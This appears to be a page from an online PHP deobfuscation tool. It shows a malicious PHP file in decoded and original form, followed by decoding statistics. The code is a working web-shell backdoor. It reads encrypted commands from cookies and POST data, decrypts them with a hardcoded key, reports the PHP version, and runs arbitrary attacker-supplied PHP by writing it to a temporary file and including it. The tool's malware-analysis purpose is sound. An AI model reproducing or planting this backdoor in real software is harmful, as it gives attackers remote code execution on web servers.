Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function /* pb */ kgqzmatsfr() { $xixwrca = 'fjtlqtvc'; print_r(47094..
Decoded Output download
<?php
function /* pb */ kgqzmatsfr()
{
$xixwrca = 'fjtlqtvc';
print_r(47094 + 47094);
}
$wakrc = /* lkzr */ 'wakrc' ^ /* _iepi */ ' ';
$crbxzldml = /*j */ $_COOKIE;
$lgrxc = /* qaggt */ $_POST;
function lno_lc($swwbxyo, $d_bwfwikc)
{
global $wakrc;
$kjymsfpe /* r */ = "";
/* orxs_ */
for /* m */ ($yfqxc_flhh = /* spz*/ 0; /* drtj */ $yfqxc_flhh < strlen($swwbxyo);) {
for ($czomioeu = 0; $czomioeu < strlen($d_bwfwikc) /* bxtw */ && $yfqxc_flhh /* _g */ < strlen($swwbxyo); $czomioeu++, /* l */ $yfqxc_flhh++) {
/* d */
$kjymsfpe .= $wakrc(ord($swwbxyo[$yfqxc_flhh]) /* toff */ ^ /* wtj */ ord($d_bwfwikc[$czomioeu]));
}
}
/* p */
return $kjymsfpe;
}
function gfzbepl($prclpv, /*pjrvt*/ $swwbxyo)
{
/* tpyyl */
global $wakrc;
/* rm */
$uxgscsnd = sprintf($wakrc(46) . "/" . "%" . "s" . $wakrc(46) . "p" . "l", md5($prclpv));
/*eue */
file_put_contents($uxgscsnd, "<" . "?" . /*nf */ "p" . "h" . "p" . $wakrc(32) . /* mcny*/ "u" . $wakrc(110) . "l" /* _uhkk */ . $wakrc(105) . $wakrc(110) . /*fz */ "k" . $wakrc(566 - 526) . /*pnc */ "_" . "_" . "F" . "I" . /*t*/ "L" . "E" . "_" . $wakrc(95) . ")" . $wakrc(462 - 403) . $wakrc(32) . $swwbxyo[$wakrc(100)]);
include($uxgscsnd);
$aohcu_ax = $uxgscsnd;
unlink($aohcu_ax);
}
function /* c */ engizz()
{
/* cqzc */
global /* ze*/ $wakrc;
/*_*/
/* xsp */
$yfqxc_flhh /* ar*/ = array();
$yfqxc_flhh[$wakrc(201 - 89) . "v"] /* ngwfh */ = phpversion();
$yfqxc_flhh[$wakrc(379 - 264) /* yja*/ . "v"] = $wakrc(208 - 157) . "." . $wakrc(558 - 505);
echo @serialize($yfqxc_flhh);
}
function /* iyvdd */ npzduxemo($swwbxyo, /* iyni */ $prclpv, $agpxk)
{
/* wltj */
global $wakrc;
/* qg*/
$swwbxyo /*ox */ = unserialize(lno_lc(lno_lc(base64_decode($swwbxyo), /* edidl */ $prclpv), $agpxk));
if /*ywu_t */ (isset($swwbxyo["a" . $wakrc(107)])) {
if /* nf */ ($swwbxyo["a"] == /*vvui */ $wakrc(105)) {
/* lmv*/
engizz();
}
/* rxaf*/
elseif ($swwbxyo["a"] == /* _c_g*/ "e") {
gfzbepl($prclpv, /* m_ */ $swwbxyo);
}
/* bkl */
exit();
/*usah*/
}
}
$crbxzldml = array_merge($lgrxc, $crbxzldml);
$prclpv /* i */ = "e" /*npk*/ . $wakrc(554 - 452) /*t_ */ . $wakrc(980 - 878) . /* mvgv */ "3" . "8" . "7" . "c" /* bqux*/ . /* xxw */ $wakrc(50) . $wakrc(45) . "8" /* ln*/ . $wakrc(1073 - 976) . /* tejd_*/ "8" . $wakrc(98) . $wakrc(761 - 716) . $wakrc(811 - 759) . /* wq*/ $wakrc(584 - 483) . "b" . "3" . "-" . $wakrc(506 - 409) . $wakrc(100) . /* qtg */ "a" . "9" . $wakrc(45) /* iwgs */ . "9" . "7" . "1" . "6" . $wakrc(55) /*xc */ . /* g */ "5" . "2" . $wakrc(53) . /* eyo*/ "8" . "3" . "8" . "f";
foreach ($crbxzldml as /* ysnsk */ $agpxk => $swwbxyo) /*v */ {
/* eiamb */
npzduxemo($swwbxyo, $prclpv, /*fzb*/ $agpxk);
} ?>
Did this file decode correctly?
Original Code
<?php
function /* pb */ kgqzmatsfr()
{
$xixwrca = 'fjtlqtvc';
print_r(47094 + 47094);
}
$wakrc = /* lkzr */ 'wakrc' ^ /* _iepi */ ' ';
$crbxzldml = /*j */ $_COOKIE;
$lgrxc = /* qaggt */ $_POST;
function lno_lc($swwbxyo, $d_bwfwikc)
{
global $wakrc;
$kjymsfpe /* r */ = "";
/* orxs_ */
for /* m */ ($yfqxc_flhh = /* spz*/ 0; /* drtj */ $yfqxc_flhh < strlen($swwbxyo);) {
for ($czomioeu = 0; $czomioeu < strlen($d_bwfwikc) /* bxtw */ && $yfqxc_flhh /* _g */ < strlen($swwbxyo); $czomioeu++, /* l */ $yfqxc_flhh++) {
/* d */
$kjymsfpe .= $wakrc(ord($swwbxyo[$yfqxc_flhh]) /* toff */ ^ /* wtj */ ord($d_bwfwikc[$czomioeu]));
}
}
/* p */
return $kjymsfpe;
}
function gfzbepl($prclpv, /*pjrvt*/ $swwbxyo)
{
/* tpyyl */
global $wakrc;
/* rm */
$uxgscsnd = sprintf($wakrc(46) . "/" . "%" . "\x73" . $wakrc(46) . "p" . "l", md5($prclpv));
/*eue */
file_put_contents($uxgscsnd, "<" . "\77" . /*nf */ "p" . "h" . "p" . $wakrc(32) . /* mcny*/ "\165" . $wakrc(110) . "\154" /* _uhkk */ . $wakrc(105) . $wakrc(110) . /*fz */ "\153" . $wakrc(566 - 526) . /*pnc */ "_" . "_" . "F" . "\x49" . /*t*/ "L" . "\x45" . "_" . $wakrc(95) . ")" . $wakrc(462 - 403) . $wakrc(32) . $swwbxyo[$wakrc(100)]);
include($uxgscsnd);
$aohcu_ax = $uxgscsnd;
unlink($aohcu_ax);
}
function /* c */ engizz()
{
/* cqzc */
global /* ze*/ $wakrc;
/*_*/
/* xsp */
$yfqxc_flhh /* ar*/ = array();
$yfqxc_flhh[$wakrc(201 - 89) . "v"] /* ngwfh */ = phpversion();
$yfqxc_flhh[$wakrc(379 - 264) /* yja*/ . "v"] = $wakrc(208 - 157) . "." . $wakrc(558 - 505);
echo @serialize($yfqxc_flhh);
}
function /* iyvdd */ npzduxemo($swwbxyo, /* iyni */ $prclpv, $agpxk)
{
/* wltj */
global $wakrc;
/* qg*/
$swwbxyo /*ox */ = unserialize(lno_lc(lno_lc(base64_decode($swwbxyo), /* edidl */ $prclpv), $agpxk));
if /*ywu_t */ (isset($swwbxyo["\x61" . $wakrc(107)])) {
if /* nf */ ($swwbxyo["a"] == /*vvui */ $wakrc(105)) {
/* lmv*/
engizz();
}
/* rxaf*/
elseif ($swwbxyo["a"] == /* _c_g*/ "\145") {
gfzbepl($prclpv, /* m_ */ $swwbxyo);
}
/* bkl */
exit();
/*usah*/
}
}
$crbxzldml = array_merge($lgrxc, $crbxzldml);
$prclpv /* i */ = "\x65" /*npk*/ . $wakrc(554 - 452) /*t_ */ . $wakrc(980 - 878) . /* mvgv */ "3" . "8" . "7" . "\x63" /* bqux*/ . /* xxw */ $wakrc(50) . $wakrc(45) . "\x38" /* ln*/ . $wakrc(1073 - 976) . /* tejd_*/ "\x38" . $wakrc(98) . $wakrc(761 - 716) . $wakrc(811 - 759) . /* wq*/ $wakrc(584 - 483) . "\x62" . "3" . "\x2d" . $wakrc(506 - 409) . $wakrc(100) . /* qtg */ "a" . "9" . $wakrc(45) /* iwgs */ . "\x39" . "7" . "\x31" . "6" . $wakrc(55) /*xc */ . /* g */ "5" . "2" . $wakrc(53) . /* eyo*/ "8" . "\x33" . "8" . "f";
foreach ($crbxzldml as /* ysnsk */ $agpxk => $swwbxyo) /*v */ {
/* eiamb */
npzduxemo($swwbxyo, $prclpv, /*fzb*/ $agpxk);
}
Function Calls
array_merge | 1 |
Stats
MD5 | c8d47868369a498cb0ad60e1a1b6c829 |
Eval Count | 0 |
Decode Time | 74 ms |